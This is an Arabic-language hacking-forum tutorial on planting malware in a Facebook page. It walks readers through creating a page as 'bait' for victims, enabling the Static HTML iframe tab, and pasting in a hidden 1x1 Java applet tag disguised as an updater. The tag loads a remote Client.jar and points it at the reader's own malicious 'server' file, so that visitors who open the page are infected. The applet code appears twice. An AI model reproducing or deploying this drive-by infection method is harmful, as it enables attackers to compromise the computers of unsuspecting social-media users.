كما نعلم نحن الان في عصر ( FacebooK ) والمواقع التواصل الاجتماعية ولكن كما نعلم لا
يوجد ( حماية ) الى وله ( ثغرة ) والان (Facebook ) يستخدم بعض من التقنيات البرمجه منها
(Static HTML: iframe tabs)
ونحن هنا راح تكون استغلالنا .. راح تقولي كيفـــ ... طبعنـــ طريقهــ كانتــ برايفتــ .. لكن الله يلعن
ابليســ بســ الان فيســ بوكــ بعد ما تعملــ صفحة (Welcome ) يبغى له ( 8 ) ايام حتى تتفعلــ ...
الان ننتقل الى تطبيقـــ
متطلبات الدرس واكيد الكل عندها هذي الامور :-
1:- حساب فيس بوك .
2:- سيرفر كلين ويكون حجمه صغير .
3:- أنشاء ( بيج ) صفحة .
4:- وثغرة الي راح نشتغل عليه هع .
حلو الان نفتح حسابنا على فيس بوك ونروح ندخل على رابط التالي :- حتى نعمل صفحة جديده لانه هي راح تكون الطعم لا ضحيه ونضيف اضافة
https://www.facebook.com/pages/create.php
الان عنا شاشة هي نختار شو صنف صفحه الي راح نعمله اختار الي يريحك انت
او تابع معي صوره التي
بعد ما نعبي الفراغات نختار
الان الخطوات عاديه واضحه تبغى ترفع صوره ومعلومات عامه عن الصفحه
بعد ما كتبت معلومات عن صفحه ورفعت صوره الان ننتقل لا ( تعديل الصفحة ) ونتخار ( التطبيقات ) تابع صوره
الان بعد ما تضغط على (Static HTML: iframe tabs )
في كلمة تحته اسمها( الانتقال الى التطبيق ) نضغط عليه
راح تجينا الصفحه هي وراح نتخار منها تابع صوره
حلو الان راح ننتقل الى الصوره التاليه ونضغط مثل ما في الصوره
حلو هع تم الاضافة واسمه (Welcome ) صوره التوضيح
حلو الان خلصنا من قصة الصفحه الان بنروح نرفع سيرفرك على رابط مباشر حلو ونحطه في الثغرة تابع
اقتباس:
<applet width='1' height='1' code='JavaUpdater.class' archive='http://www.duramixtlp.com/wp-admin/Client.jar'><param name="url" value="dr.qusay"></applet
>
المصدر شبكة الصاعقة العربية لتعليم الهكرز
http://forum.sa3eka.com/soft126122.html#ixzz23Teu5G7Iاقتباس:
<applet width='1' height='1' code='JavaUpdater.class' archive='http://www.duramixtlp.com/wp-admin/Client.jar'><param name="url" value="dr.qusay"></applet
>
الان المتغير فقط ( Dr.QuSaY )
نحط رابط سيرفرك المباشر وبنسبه لا ملف (Client.jar ) اتركه نفس ماهو
ونيجي الان ننسخ الثغرة بعد ما عدلنا رابط سيرفرك نقوم بننسخه ونروح على فيس بوك ونضغط على شاشة الي عملنه (Welcome ) تابع الصوره وين نحط اكواد ثغرة
الان نضغط على (save changes )
حلو الان نقوم بنسخ رابط الصفحه من فوق ونسجل خروج ونرد ندخل على بيج واحنا مسجلين خروج يعني كا زائر وراح تشوف
وان شاء الله يكون الدرس واضح ومفهوم واتمنى التوفيق للجميع يارب ولا تنسونا من صالح دعائكم
